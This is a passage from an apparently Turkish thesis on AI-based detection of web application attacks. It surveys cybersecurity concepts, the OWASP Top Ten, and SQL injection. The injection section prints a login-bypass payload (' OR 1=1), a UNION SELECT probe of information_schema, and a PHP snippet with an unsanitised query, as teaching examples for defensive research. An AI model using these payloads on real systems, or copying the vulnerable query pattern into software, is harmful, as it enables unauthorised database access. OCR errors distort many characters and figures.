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OZET
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SIMGELER VE KISALTMALAR

Bu calismada kullanilmis baz1 kisaltmalar, agiklamalari ile birlikte asagida sunulmustur.

Kisaltmalar Aciklama

ARFF Ozellik iliskili Dosya Bicimi (Attiribute Relation File Format)
CSRF Siteler Arasi Istek Sahteciligi (Cross Site Request Forgery)
HTML Hiper Metin Isaretleme Dili (Hyper Text Markup Language)
HTTP Hiper Metin Transfer Protokolii (Hyper Text Transfer Protocol)
IDOR Gilivensiz Dogrudan Nesne Referanslari

(Insecure Direct Object Referenas)

IDS Saldir1 Tespit Sistemi (Intrution Detection System)
IPS Saldir1 Engelleme Sistemi (Intrusion Prevention System)
KNN K-En Yakin Komsu (K-Nearest Neigborhood)
OWASP Acik Web Uygulama Giivenligi Projesi

(Open Web Application Security Project)
SQLi SQL Enjeksiyon (SQL Injection)
STS Saldir1 Tespit Sistemi
URI Standart Kaynak Belirtici (Uniform Resource Identifier)
URL Standart Kaynak Bulucu (Uniform Resource Locator)
W3AF Web Uygulama Saldir1 ve Denetim Yazilimi

(Web Application Attack And Audit Framework)
WAF Web Uygulama Giivenlik Duvari (Web Application Firewall)
WEKA Bilgi Analizi I¢in Waikato Ortami

(WaikatoWaikato) Environment For Knowledge Analysis

XSS Siteler Arasi Betik Calistirma (Cross Site Scripting)



1. GIRIS

Web siteleri ve web uygulamalar giinliik yasamin vazgegilmez bir parcasi haline gelmistir.
Basta kisiler olmak tizere, devletler, kurum ve kuruluslar tiim faaliyetlerini internet
iizerinden web uygulamalari ile yapmaktadir. Giinliik is ve islemlerin ger¢eklestirilmesinde
birgok web uygulamasi kullanilmaktadir. Web uygulamalar1 finansal hizmetler, sosyal
hizmetler, iletisim hizmetleri, is takibi, stok takibi, elektronik ticaret islemleri vb. bircok
kullanim alanina sahiptir. 20. yiizyilda kurum ve kuruluglar agisindan en onemli deger
bilgidir. Teknolojinin gelismesi ile birlikte bu bilginin korunmasi ve muhafaza etme bigimi
de degisiklik gdstermistir. Elektronik ortamda saklanan bilgiyi korumak i¢in de elektronik
ortam muhafazas1 gerekmektedir. Kisilerin veya kurumlarin elektronik ortamda bulunan
varliklarina, yetkisiz kisilerin erisimlerinin ve miidahalelerinin engellenmesi beraberinde
siber giivenlik kavramini getirmektedir. Bilgi giivenligi ise daha genel bir kavram olup, siber

giivenligi de icine alarak, her tiirlii ortamda bulunan bilginin muhafazasini ifade etmektedir.

PwC, CIO ve CSO tarafindan hazirlanan 2015 Bilgi Giivenliginin Kiiresel Durumu (Global
State of Information Security) arastirmasina gore siber giivenlik vakalar1 her gecen y1l daha
sik goriilmekte ve sirketlere olusturdugu maliyeti de ayni1 oran artmaktadir. Buna karsin siber
giivenlik Onlemleri icin ayrilan biitgeler azalmaktadir. Sirketlerin iist yonetimlerini de
etkilemeye baglayan bu durum, sirket i¢inde yasanan vakalardan yiiksek nitelikli suclara
kadar uzanmaktadir. Bu arastirmaya gore 2014 Kasim ay1 itibariyle diinya g¢apinda
raporlanan siber gilivenlik olayr sayist %48 artarak 42,8 milyona ulasmistir. 2009’dan
itibaren raporlanan vaka sayis1 %66 artis gostermistir. 54’den fazla iilkede 9.700’den fazla
yoneticinin katildig1 kiiresel arastirmaya gore, kiiresel capta bakildiginda, siber giivenlik
vakalariin sebep oldugu, tahmini olarak raporlanan ortalama mali zarar 2013 yili
stiresince %34 artis gostererek 2,7 milyon dolar olmustur. 20 milyon dolar1 asan maddi kayip
rakamlar agiklayan organizasyonlarin sayist da neredeyse iki katina ulagsmistir [1]. Bu
durum siber giivenlik acisindan c¢arpict bir tablo sunmaktadir ¢linkii siber olaylarda
raporlanmayan olay sayisi raporlanandan daha fazladir. Siber giivenlik kapsaminda bulunan

web uygulama saldirilari, kurumlarda dikkate deger zararlara sebep olabilmektedir.

Web uygulamalarinin hacker olarak adlandirilan bilgisayar korsanlar1 tarafindan hedef
alinmasinin ¢esitleri sebepleri ve motivasyonlar1 bulunmaktadir. Bu motivasyon bazen

maddi kazang olurken, bazen de siyasi sebebler, aktivizm, istihbarat veya bir korsanin egosu



olabilmektedir. Yazilimcilar uygulama gelistirme asamasinda uygulamanin iglevselligini ve
kullanilabilirligini 6n plana ¢ikarirken bilerek veya bilmeyerek giivenlikten taviz
verebilmektedirler. Bunun sonucunda bir sirket veya kurum i¢in ¢ok kritik 6neme sahip
verilerle islem yapilan bir uygulama basit hatalar sonucunda biiyiik giivenlik aciklari

barindirabilmektedir.

Kurum ve kuruluglarin kendi bilgisayar sistemleri ve sunucularinin dis aga baglandigi
noktalarda giivenlik duvarlar1 konumlandirilarak, gelen ve giden internet trafigi izlenmekte
ve saldirilara kars1 6nlem alinmaktadir. Web uygulamalarinda bulunan agiklar genellikle bu
giivenlik duvarlar tarafindan fark edilemeden somiiriiliir. Eger web uygulamasinda yeterli
Oonlem alinmadi ise bu uygulamanin barindirabilecegi acikliklara yonelik saldirilar
yapilabilmektedir. Bu saldirilarin engellenmesine yonelik bir¢ok, farkli giivenlik saglama
yontemi gelistirilmistir. Bu yOntemlerin biitiinlesik olarak uygulandii ve web
uygulamalarinin korunmasinda kullanilan sistemlere genel olarak Saldir1 Tespit Sistemi

(STS; Intrusion Detection System - IDS) denilmektedir.

Literatiir incelendiginde ¢ok sayida yapay zeka tabanli STS tasarlandig1 goriilmektedir. Bu
sistemlerin kullandiklar1 algoritmalar, yapay zeka modelleri, egitildikleri saldir1 tipleri

farklilagsmakla birlikte, basar1 oranlar1 yiiksektir.

Zander ve arkadaslarmin yaptiklar1 ¢aligmada danismansiz makine 6grenme teknikleri
kullanilarak trafiklerin smiflandirilmas: ve uygulamalarin tespit edilmesine yonelik bir
yontem olusturulmustur [2]. Bu calismada optimum 6zellikler belirlenerek, trafik akisi
istatistiksel olarak siniflandirilmistir. Siniflandiricinin ortalama dogruluk oran1 %86,5 olarak

hesaplanmastir.

Moosa tarafindan gelistirilen WAF sisteminde, en dnemli web giivenlik aciklarindan birisi
olan SQL enjeksiyonun (SQL injection) tespitini yapan yapay sinir ag1 tabanli bir model
olusturulmustur [3,4]. Web uygulama yazilimcilarinin gerekli onlemi almamasindan
kaynaklanan ve kullanicilarin veri girisi yaptiklart web uygulamalarinda saldirganlarinin bu
alanlar1 kullanarak SQL sorgular1 yapabilmelerine SQL enjeksiyon denmektedir. Ilgili
calismada veri setine geri yayillim tabanli momentumlu adaptif 6grenme algoritmasi

uygulanmis olup, basar1 oran1 %83,67 olarak dl¢lilmiistiir.



Razzaq ve arkadaglar1 ontoloji tabanli teknik kullanarak, web uygulama saldirilarina karsi
semantik giivenlik modeli 6nermislerdir. Bu modelde uygulama protokolleri 6zelliklerini ve
sonug igeriklerini kullanarak olusturulan semantik kurallar ile web uygulamasi saldirilari

belirlenmektedir [5].

Wang ve arkadaglarin yaptiklar1 ¢aligmada KDD CUP 1999 veri seti kullanilmistir. Bu
calismada FC-ANN (Fuzzy Clustering - Artificial Neural Network) adinmi verdikleri bir
model Onermislerdir. Model sayesinde geleneksel YSA modellerinde sorun olan diisiik
frekansli saldirilarin tespit oranlarmi yilikseltmek i¢in YSA’ya verilecek veriler oncesinde
bulanik kiimelemeye tabi tutularak farkli 6grenme veri setleri olusturulmaktadir. YSA’ larin
egitiminden sonra ¢ikan sonuglar bulanik birlestiriciye verilerek islem tamamlanmaktadir.

Bu modelin ortalama dogruluk oran1 % 96,71 dir [6].

Bu calismada web uygulamalarina yonelik gerceklestirilen web saldirilart incelenmis ve
giivenlik duvarlar iizerine konumlandirilacak yapay zeka tabanli yazilim modeli ile bu
ataklarin tespit edilmesi, Onlenmesi ve raporlanmasi amaclanmistir. Caligmada cesitli
kullanict yetkilendirme sayfalarina, korsanlar tarafindan yaygin olarak kullanilan saldiri
yontemleri kullanilarak c¢esitli web saldirilar1 gergeklestirilmistir. Ayrica normal web
trafikleri  olusturulmustur. Bu internet trafikleri web uygulamalarimin Oniinde
konumlandirilan Linux tabanl giivenlik duvari ile izlenerek kaydedilmistir. Giivenlik duvari
iizerinde toplanan bu veriler incelenerek, gerekli 6n isleme islemleri gerceklestirilmistir. Bu
veriler kullanilarak ¢esitli veri madenciligi algoritmalari ile siniflandirma modeli egitilmistir.
Ilgili algoritmalarm basar1 ve zayiflik durumlart karsilastirilmistir. Sonug olarak basarili
sekilde calisan yapay zeka tabanli bir web uygulamasi saldir1 tespit ve dnleme modeli ortaya

cikarilmistir.






2. SIBER GUVENLIK VE BILESENLERI

Teknoloji kullaniminin hizli bir bigimde artmasi neticesinde giiniimiiz bireyleri, is diinyasi
ve devlet kurumlar kritik dneme haiz istihbari, ekonomik ve kisisel bilgilerini gelisen
teknoloji araglar1 vasitasi ile depolamakta ya da transfer etmektedir. Transfer edilen bu
verilerin dolasim sirasinda bozulmasi ya da transferinin gergeklesememesi gibi durumlarda

cok biiyiik ekonomik veya itibari kaybin olacagi da bilinen bir gercektir [7].

Siber giivenlik kavramina ve bilesenlerine ait tanimlamalar Ulusal Siber Giivenlik Stratejisi

2013-2014 Eylem Planm ¢ercevesinde asagidaki sekilde yapilmistir [8].

Bilisim sistemleri

Bilgi ve iletisim teknolojileri vasitasiyla saglanan her tiirlii hizmetin, islemin ve verinin
sunumunda yer alan sistemleri olarak tanimlanir [8]. Bu tanimlamalar ile tim kamu, ger¢ek

ve tiizel kisilere ait bilisim sistemleri tanimlanmustir.

Siber ortam

Tim diinyaya ve uzaya yayillmis durumda bulunan bilisim sistemlerinden ve bunlari
birbirine baglayan aglardan olusan ortami tamimlar [8]. Internet'e karsilik olarak da
kullanilan siber uzay (cyberspace) ilk olarak Kanadali {inlii bilim kurgu yazar1 William
Gibson tarafindan bir bilgisayar korsaninin Matrix adi verilen bir bilgisayar sistemine
sizarken yasadiklarini anlatan ‘Neuromancer’ adli romanda kullanilmistir. Bu {inlii roman
ayn1 zamanda sanal gerceklik (virtual reality), yapay zeka (artificial intelligence) ve genetik

miihendisligi (genetic engineering) gibi kavramlarin da ilk olarak islendigi eserdir.

Siber ve sanal kavramlar1 genellikle bir birine karistirilmakla birlikte ayr1 kavramlardir.
Internet hem sanal hem de siberdir. Siber terimi sibernetik kokeninden gelmektedir. Ik
olarak 1958 yilinda canlilar ve/veya makineler arasindaki iletisim disiplinini inceleyen Louis
Couffignal tarafindan kullanilmistir. Interneti anlatan sanal alem ve siber alem kavramlarinin
ikisi de dogru bir onermedir. Internet, iletisim ydntemi acisindan siber, yaratti§1 ortam

acisindan sanaldir.



Siber giivenlik olayi

Siber giivenlik olay1 bilisim sistemlerinin veya bu sistemler tarafindan islenen bilginin
gizlilik, biitiinliik veya erisilebilirliginin ihlal edilmesi olarak tanimlanmaktadir [8]. Burada
siber giivenligin {icli sa¢ ayagi olarak adlandirilan gizlilik, biitiinliik ve erisilebilirlik

kavramlarina vurgu yapilmistir.

Gizlilik kavrami, bilginin sadece yetkili kisiler tarafindan erisilebilir olmasidir. Yetkisiz

kisilerin bilgiye erisimlerinin kisitlanmasi gerekir.

Biitiinliik kavrami, bilginin giincel ve dogru olmasinin garantilenmesidir. Yetkisiz kisiler
tarafindan bilginin iceriginin higbir sekilde degistirilemeyeceginin gilivence altinda

tutulmasidir.

Erisilebilirlik kavrami, bilginin olmas1 gereken yerde ve kullanilabilir sekilde yetkililer
tarafindan istenildigi zaman erisilebilir olmasidir. Hizmetin kesintiye ugratilmamasi

istenilmektedir.

Genel olarak kullanilan siber saldir1 terimi yerine siber giivenlik olay1 terimi kullanilmasi
tercih edilmistir. Bu {i¢ giivelik 6gesinden birisi zarar goriirse glivenlik ag181 olusmus sayilir

ve siber giivenlik olayi olarak adlandirilir.

Siber giivenlik

Siber ortami olusturan bilisim sistemlerinin saldirilardan korunmasini, bu ortamda islenen
bilginin gizlilik, biitlinliik ve erisilebilirliginin giivence altina alinmasini, saldirilarin ve siber
giivenlik olaylarinin tespit edilmesini, bu tespitlere karsi tepki mekanizmalarinin devreye
alinmasini ve sonrasinda ise sistemlerin yasanan siber giivenlik olay1 dncesi durumlarina

geri dondiiriilmesi olarak tanimlanir [8].

Siber ortamint olusturan bilisim teknolojilerine korsanlar tarafindan siber saldir
gergeklestirilirken yine bilisim sistemleri arag olarak kullanilmaktadir. Siber saldirilar
korsanlar tarafindan kisisel maddi menfaat amagli olarak gergeklestirilmelerinin yani sira,

hacktivist gruplar (Orn. Anonymous, Redhack vb.) tarafindan siyasi mesaj vermek,



propaganda yapmak ve reklam amagh olarak, devletler ve orgiitler (Orn. NSA, Suriye
Elektronik Ordusu) tarafindan istihbar1 amagli olarak veya baska devlet veya kuruluslara

maddi zarar vermek amaciyla da yapilabilmektedir.

Devlet destekli saldirilar genellikle inkar edilse de, hedef {ilkenin siber ortamina miidahale
etmek, ekonomik zarar vermek ve istihbari bilgilerini ele gecirmek amaglanmaktadir. Siber
ortamda yasanilan saldirilarla genellikle zarar vermek amaglanmistir ve ulusal bir glivenlik
sorunu haline gelmistir [9]. Devletler a¢isindan en 6nemli 6rnek olarak Giircistan ve Estonya
devletlerine gerceklestirilen siber saldirilar gosterilebilir. Baska bir 6rnek ise Iran’in niikleer

programina yonelik gergeklestirilen Stuxnet saldirisidir.

Ulusal siber giivenlik

Ulusal siber ortamda bilgi ve iletisim teknolojileri vasitasiyla saglanan her tiirlii hizmet,

islem ve verinin ve bunlarin sunumunda yer alan sistemlerin siber giivenligini tanimlar [8].

Ulusal siber saldirilar bir iilkenin ekonomisini felg edebilir hatta yasamin1 durduracak
noktaya gelebilir. Bir ililkenin kritik altyapilarina yapilacak bir siber saldir1 o iilkedeki
insanlarin giinliik hayatlarini ve islerini 6nemli darbe vurabilir. Ulkemizde yakin zamanda
yagsanan ve tiim iilkeyi etkileyen elektrik kesintisinin bir siber saldirt olup olmadig:
tartigmalar bir tarafa, elektrik sebekelerine yapilabilecek bdyle bir olast saldirinin sonuglari

hakkinda fikir vermesi agisindan 6nem arz etmektedir.






3. WEB UYGULAMALARI VE SALDIRI TURLERI

World Wide Web (www), CERN’de (Avrupa Niikleer Arastirma Merkezi) bilgisayar
programcisi olarak ¢alisan Tim Berners-Lee’nin 1989 yilinda HTML (HyperText Markup
Language) adl1 bilgisayar etiket dilini gelistirmesiyle olugsmustur. Sonralart HTML diliyle
hazirlanmis web sayfalar1 i¢in tarayici programi gelistirilmis ve www yaygin bicimde
kullanilabilecek bir yapr haline getirilmis olup, TimBerners-Lee nin baskanligini yaptig
W3C (The World Wide Web Consortium) tarafindan gelistirilmeye de devam edilmektedir.
Gelisen teknolojik altyap1 ve ilk kuruldugu yillarda hayal bile edilemeyecek; resim, miizik,
video ve oyun paylasimlarinin gerceklestirilmesini bu konsorsiyumun yoénlendirmeleri

saglamistir [10].

3.1. Web’in Gelisimi ve Standartlar

Web etkilesimi, ulasilabilirligi ¢ok yiiksek ve maliyeti ¢cok diisiik olan bir iletisim ve medya
aract oldugu i¢in ¢ok hizli bir gelistirme gostermistir. 1993 yilina gelindiginde diinyada 50
civarinda web merkezi bulunuyordu. NCSA'da diinyanin ilk popiiler web tarayici olan
Mosaic gelistirilmistir. Mosaic grafik yetenekleri kazandirilmig bir web tarayicidir. Bu
gelisme sonucu Web’e olan ilginin ivmesi artmigtir. Sonrasinda bu web tarayic1 Netspace
firmas1 tarafindan gelistirilerek Netspace Navigator web tarayicisi ortaya ¢ikmistir. Bunu
Microsoft firmasinin Internet Explorer, Mozilla Firefox ve Google Chrome tarayicilar: takip
etmigti. Web ’in yayginlagmasi ile birlikte ihtiyaclar1 karsilayabilmesi ig¢in yeni web

standartlar1 ortaya ¢ikmistir.

3.1.1. Web 1.0, statik web

Web’in ilk halidir. Web 1.0’da kullanicilar sadece okuyucu konumunda olup, sadece bilgiyi
alabilmelerine imkan tanintyordu. Web 1.0°1 kullanicilar var olan bilgileri elde etmek, ¢esitli
web sunucular1 tarafindan saglanan icerigi okumak, program ve dosya indirmek ig¢in
kullanmaktaydilar. Insan etkilesimi yoktu. Bireysel web sayfalar ise tasarim ve teknik
acisindan yeterli bilgi olmadigi i¢in genellikle kotlii durumdaydi. Kullanicilarin okumak ve
bilgi almak gibi gereksinimlerinin yaninda deneyimleri paylasmak, bilgi alis verisinde
bulunmak, bir seylere katki saglamak, kendini bir grubun iiyesi olarak gérmek, soysal statii
kazanmak gibi dogal gereksinimleri Web 1.0 ile saglanamiyordu. Oziinde Web 1.0 internette

yayinlanmis olan bilgilerin pasif bir sekilde elde edilmesini sagliyordu [6].
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3.1.2. Web 2.0, dinamik web

Web 1.0°1n yetersizliginden dolay1 Web 2.0 ortaya ¢ikmistir. Web 2.0 farkli kavramlari igeren
bir terimdir; AJAX’a dayali teknolojiler ile gelistirilen; insanlarin sosyal iligkiler kurmasini,
paylagimlarda bulunmasini saglayan; kullanicilar tarafindan olusturulmus metinler,
fotograflar ve videolar gibi cesitli ¢oklu medya verilerini diger kullanicilar ile etkilesimli bir
sekilde paylasmalarin1 saglayan bir web teknolojileri biitiiniidiir [11]. Web 2.0 ile web’de
insan etkilesimi saglanmistir. Yani kullanicilarinin ortaklasa ve paylasarak yarattigi bir

sistem tasarlanmistir.

Web 2.0’in gelmesiyle birlikte tasarim alaninda Onemli gelismeler saglanmistir.
Kullanicilarin aradiklart bilgiye kolayca erisebilmelerini saglayan akilli web tarayicilart
ortaya ¢ikmistir. Bunun en 6nemli 6rnegi kullanicilarin arattigi anahtar kelimler ile eslesen

web sitelerini listeleyen “google.com” web arama motorudur.

3.1.3. Web 3.0, anlamsal web

Anlamsal web, web teknolojilerinin gelisimi ve bu teknolojilerin gelecegi agisindan ¢ok
onemli bir kavram olarak degerlendirilebilir. Anlamsal web (web 3.0) calismalar1 2001
yilinda W3C tarafindan baslatilmistir. Yakin gelecekte gecilmesi beklenilen web 3.0
versiyonunun tamamen anlamsal web altyapisi {izerine kurulmasi diisiiniilmektedir. Hentiz
intranet iizerinde projelerin gelistirilmesi, denemelerin yapilmasi ve deneysel anlamda
standartlarin olusturulmasi amaciyla kullanilmaktadir. Ancak sistemin web sunucularinda
yayimlanan web sayfalarinda RDF ve OWL dillerinin standart olarak kullanilmasiyla, tiim
bilgi igeriginin {ist veriler (metadata) ile ifade edilmesiyle bu teknolojiye ge¢ilmis olacaktir.
Web 3.0 teknolojisi, web siteleri iizerinden bilgi ¢ikariminda bulunan, kisiye 6zel ve daha
etkili sonuglar veren igerik tabanli arama motorlar1 ve kisisel farkliliklarin veya 6zelliklerin
web siteleri iizerinden toplanarak bilgilerin degerlendirildigi portallarin gelistirilmesi
temeline dayanmaktadir [10]. Anlamsal agin temelinde tiim igeriklerin XML formatinda
saklanmasi ile birlikte kullanicilarin talep ve talimatlarinin web sunucular tarafindan

anlagilarak gerceklestirilmesi yatmaktadir.
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3.2. Web Programlama Dilleri

World Wide Web’in bu kadar hizl1 yayilmasindaki en biiyiik etkenlerden birisi Web sayfasi
olusturmanin ¢ok kolay olmasidir. Cok basit sekilde yazilacak HTML sayfalari ile ¢oklu
verilere izin veren statik web sayfalar1 kolaylikla hazirlanabilmektedir. Eger kullanicilar ile
web sunucu arasinda etkilesimi saglamak isteniyorsa dinamik web programlama dillerinin

kullanilmas1 gerekmektedir.

Dinamik web programlama dilleri i¢inde en yaygin kullanilan diller sirastyla PHP, ASP.NET,
JAVA, statik dosyalar seklinde devam etmektedir. Sekil 3.1°de goriilecegi tizere, PHP %81,3
kullanim orani ile en ¢ok tercih edilen web programlama dilidir [12]. PHP’nin bu kadar
yaygin kullanilmasinin sebepleri arasinda kolay o6grenilebilir, kodlanabilir ve kolay
Ol¢eklenebilir olmasi, HTML ile tam entegre calisabilmesi, platform bagimsiz olmasi, esnek
fonksiyonlara ve ¢ok sayida framework’ e sahip olmasi sayilabilir. Sik kullanimindan dolay1
tez icin gerekli yetkilendirme sayfalarinin olusturulmasinda 6ncelik PHP programlama

diline verilmistir.

PHP
ASP.NET
Java
static files
ColdFusion

Ruby

Perl
Python [0.2%
JavaScript | 0.2%
Erlang |0.1%

WiTechs.com, 27 August 2015

Sekil 3.1. Web programlama dillerinin diinya {izerindeki kullanim oranlar1 (W3Tech'den
anlik olarak alinmistir)

3.3. Web Saldir Tiirleri

Basta kisiler olmak {izere, devletler, kurum ve kuruluslar bir¢cok faaliyetlerini,
kolaylastirmak, hizlandirmak ve yayginlastirmak amaciyla ¢evrimigi web uygulamalarini
kullanmaktadir. Web uygulamalari; finansal hizmetler, sosyal hizmetler, iletisim hizmetleri,
is takibi, stok takibi, elektronik ticaret islemleri, vb. birgok kullanim alanina sahiptir. Web

uygulamalar1  ¢ok  kritik  islemlerin  yapilmast ve verilerin  saklanmasinda
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kullanilabilmektedir. Web uygulamalarinin giinliik yasamin vazgegilmez bir parcgast haline
gelmesiyle birlikte, internet korsanlarinin hedefi haline gelmis olup, web uygulamalarinda
bulunan agikliklar kullanilarak saldirilar gergeklestirilmektedir. Web uygulamalarinin
yaygin olarak kullanilmaya baslanmasi ile birlikte web uygulamalarinin olusturulmasi da
kolaylagsmistir. Web uygulamalarin1 hazirlayanlar daha ¢ok uygulamadan beklenenlere
odaklanirken, uygulamanin giivenligini géz ardi edebilmektedirler. Web giivenligi, yapilan

isin ve islenen verinin kritikligine gore ¢ok dnem kazanabilmektedir.

Web siteleri biiyiik saldirilarda kritik hale gelmektedir; web siteleri ana aga, hassas verilere,

miisterilere ya da i ortaklarina ulagmak i¢in bir yol olarak kullanilabilmektedir.

Symantec firmasi tarafindan yaymlanan 2016 Internet Giivenligi Tehdit Raporuna gére, son
3 yilda, taranan web sitelerinin dortte {iglinden daha fazlasinin yamanmamis agiklik
barindirdigi tespit edilmis, 2015 yilinda ise agiklik barindiran web sitelerinin yedide birinin
(%15) barindirdig1 aciklik kritik olarak kabul edilmistir [13]. Sekil 3.2°de goriilecegi lizere,
ayni rapora gore taranan web sitelerinde agik bulunan web sitelerinin yiizdesi 2015 yilinda
onceki yila gore artig gostermis ve %78’ e ulagsmistir. 2015 yilinda web sitelerinde tespit
edilen bu acikliklardan %15 ini1 kritik acikliklar olusturmaktadir. Bu kritik acikliklardan bir
tanesi, eger istismar edildi ise, kullanici etkilesimine gerek kalmadan zararli kod
calistirilmasi ile veri calinmasina ve etkilenen siteleri ziyaret edenlerin riske atilmasina
sebep olmaktadir. Sekil 3.3’de 2013 yilindan itibaren tespit edilen acikliklardan kritik

olanlarin yiizdesi verilmistir.

2013 2014 2015

b 9

=1% pts + 2% pts

Sekil 3.2. Kritik agikliklarin yiizdesi



13

2013 2014 2015
> B 4
+4% pts -5% pts

Sekil 3.3. Agiklik barindiran web siteleri

Sekil 3.4’de 2013 yilindan itibaren giinlikk engellenen ortalama web saldir1 sayilar
goriilmektedir. 2015 yilinda giinliik engellenen web saldiris1 ortalama bir milyon olup, 2014

yilina oranla yiizde 117’lik (iki kattan fazla) bir artis gerceklesmistir.

A

NENN: v

Sekil 3.4. Giinliik engellenen saldir1 sayis1

Saldirganlar isyeri veya kurumlarin kullandigit web uygulamalarina zarar vermek igin
potansiyel olarak bir¢cok farkli yolu kullanabilmektedir. Kullanilan bu yollardan her biri
dikkat edilmesi gereken riskler barindirabilir ya da barindirmayabilir. Bazen bu acikliklar
bulmak ve somiirmek ¢ok kolay yapilirken, bazen ¢ok zor olabilmektedir. Bulunan agiklar
bazen hi¢ bir sey ifade etmezken, bazen ise kurumlar ve kisiler agisindan ¢ok biiyiik
maliyetlere sebep olabilmektedir [14]. Sekil 3.5’te saldirganlar tarafindan hedeflerine

ulagmak i¢in kullanabilecekleri yollar gosterilmistir.
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Tehdit saldin Giivenlik Givenlik Teknik is
Unsurlarn Vektdrleri Zayifliklan Kontrolleri Etkiler Etkileri
% Oy Saldin Zayrflk Kontrol
% Saldin [ Zayiflik Kontrol
Fonksiyon
saldin Zayiflik Etki

Zayifik Hkontrol

Sekil 3.5. Saldirganlar tarafindan kullanabilen farkli yollar [14]

Web uygulama giivenligi denilince akla ilk gelen olusum olan OWASP, Open Web
Application Security Project’ nin kisaltilmis hali olup agik web uygulama giivenligi projesi
anlamina gelmektedir. OWASP hig bir teknoloji sirketine bagli olmayip kendi toplulugunun
ihtiyaglarin1 kargilamak i¢in kurulmustur. OWASP, giivensiz yazilimlarin olusturdugu
problemlere kars1 miicadele etmek i¢in kurulmus bir topluluktur. OWASP’ 1n tiim araglari,
dokiimanlari, listeleri ve boliimleri iicretsiz olarak her yazilim gelistiricisine ve web

giivenligi ¢alisanina aciktir [15].

OWASP belli araliklar ile kurumlar agisindan en ciddi risk oldugunu belirledigi en 6nemli
10 giivenlik agigin1 ‘OWASP Top Ten’ ismi ile listelemektedir. Bu liste son olarak 2013
yilinda agiklanmis olup Cizelge 3.1°de gosterildigi gibidir [14].

Cizelge 3.1. OWASP Top Ten — 2013

OWASP Top 10 - 2013

Al-Injection

A2-Broken Authentication and Session Management
A3-Cross-Site Scripting (XSS)

A4-Insecure Direct Object References

AS5-Security Misconfiguration

A6-Sensitive Data Exposure

A7-Missing Function Level Access Control
A8-Cross-Site Request Forgery (CSRF)

A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards
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3.3.1. Enjeksiyon (Injection)

Enjeksiyon, kullanic1 kaynakli veri igerisinde bir komut veya sorgunun bir boliimiiniin
yorumlayiciya gonderilmesiyle gerceklestirilir. Saldirganlar, ustalikla planlanmis komutlar
araciligtyla, yorumlayiciya calisabilir komutlar gondererek o6zel veri alanlarina erigim
saglarlar. Enjeksiyon agiklari, uygulama iizerinden saldirganlarin istegine bagli olarak,
olusturma, okuma, giincellestirme veya silme izinlerinden herhangi birini verir. En koti
durum senaryosu, bu agiklardan yararlanan saldirganin tamamen uygulama ve 6nemli sistem
bilesenleri ile glivenlik duvari katmanina erisebilmesidir. Cok fazla tipte enjeksiyon tipi
vardir: SQL, LDAP, Xpath, XSLT, HTML, XML, OS komutlar1 kullanilarak ve daha farkl
sekillerde gerceklestirilen enjeksiyonlar mevcuttur. Enjeksiyon agiklari, 6zellikle SQL

enjeksiyon, web uygulamalarinda ortak bir agiktir [16].

SQL enjeksiyonu SQL sorgularina beklenilenden farkli degerler gondermesi ile olusan
giivenlik acigidir. Veritabanina gonderilecek olan sorgular manipiile edilerek SQL
enjeksiyon (SQL Injection, SQL1) zafiyeti meydana getirilmektedir. Kullanicinin gonderdigi
filtrelenmemis veriler ile kullanicinin yetkisiz olarak veritabanindan okumasi istenmeyen
verileri okuyabilmesi, hatta degistirilebilmesine imkan taniyan ¢ok kritik bir agikliktir. Bu
kritik wveriler; kullanici adi - sifre, sirketler arasi satis verileri vb. Onemli veriler
olabilmektedir. SQLi zafiyeti igeren yazilimlarda genellikle veritabanindaki 6nemli verilerin
okunup, ekrana yansitilmasi saglanir. Bu agiklik kullanilarak veritabaninin degistirilmesi,
tamamen sunucu bilgisayarin tamamen kontrol edilmesi gibi sonuglar dogurabilmektedir.
Filtrelenmeden, genelde POST, GET metotlar1 ile gelen verilen bu zafiyete yol agar. Web
servisi tizerinde kullanicidan (client) hi¢ bir girdi alinmadigindan ve kullanici tarafindan
maniplile edilecek girdilerin sunucu tarafinda yapilacak olan sorgularda kullanilmadigi
durumlarda SQLi aciginin olmadigina kesin goziiyle bakabilir. Fakat istemci tarafindan
GET, POST vb. istekler alinip sunucuya iletildigi durumlarda SQL’i zafiyeti ortaya
cikabilmektedir [17]. Bir giris ekranina gerceklestirilen SQL enjeksiyon saldir1 Sekil 3.6’da

gosterilmektedir.
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SQL Enjeksiyonu

Kullanici Adi | ————ai ‘ \

Sifre ‘ mypassword

SELECT * FROM Users WHERE uname="mehmetsevri”
AND password="mypassword”;

Kullanici Adi | ‘ “ORI1=1./*7 ’N
Sifre | - —‘

SELECT * FROM Users WHERE uname="" OR 1=1; /*”
AND password=""*/--;

Sekil 3.6. SQL enjeksiyon saldirist

Yukarida gosterilen SQL enjeksiyonu klasik olan bir saldiridir, saldiriyr 6nlemeye yonelik
bir islem yapilmadigi durumlarda gerceklestirilebilen en kolay enjeksiyon tiiriidiir. Bu
saldirinin miimkiin olmadig1 durumlarda daha komplike SQL enjeksiyon tiirleri mevcuttur.

Bunlar asagidaki gibidir;

Union Tabanli SQL Enjeksiyon

En sik kullanilan SQL enjeksiyon saldirilarindan birisidir. Union kelimesi SQL sorgularinda
iki sorgunun birlestirilmesinde kullanilir. Union birlestirme yapilabilmesi i¢in iki sorgunun
dondiirdiigii kolon saylarin ayni olmasi gerekmektedir. Sekil 3.7°de Union tabanli SQL

enjeksiyon saldirisinin nasil gergeklestirildigi goriilmektedir.

UNION SELECT ! FROM information_schema.tables

<?php /

$id = § POST[ 7‘,::”];
Squery = "se t from urunler where id = ".$id;
$answer = mysql query(Squery)

2>

Sekil 3.7. Union tabanli sql enjeksiyon
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Ko6r SOL enjeksivon (Blind based sqli)

Saldirgan tarafindan gonderilen verinin veritaban1 sorgusunda nereye denk geldiginin
tahmin edilemedigi durumlarda karakterleri tek tek degistirerek deneme yoluyla
gerceklestirilen saldiridir. Bu saldir1 adam asmaca oyununa benzer tek karakter degistirilerek
veya eklenerek sunucunun dondiigii cevaba bakilir, eger hata donderiyorsa karakter
degistirilir. Bu saldirida ‘substring’ gibi veritaban1 fonksiyonlar1 kullanilir. Kullaniciya
sadece rakam gonderiliyorsa veritabaninda sorgulanmak istenen veriler ASCII sayilara
doniistiiriilerek gonderilir ve saldirgan tarafindan ASCII karsiliklart bulunarak hedefe

ulagilir.

3.3.2. Thlal edilmis kimlik yonetimi ve oturum ¢alinmasi (Broken authentication and

session management)

Hesap bilgileri ve oturum anahtarlarinin diizgiin olarak yapilandirilmamasi ve kod igerisinde
yeterli giivenlik dnlemlerinin alinmamasindan kaynakli olarak saldirganlar tarafindan ele
gecirilmesi veya oturum bilgilerinin manipiile edilmesi sonucu ortaya c¢ikmaktadir.
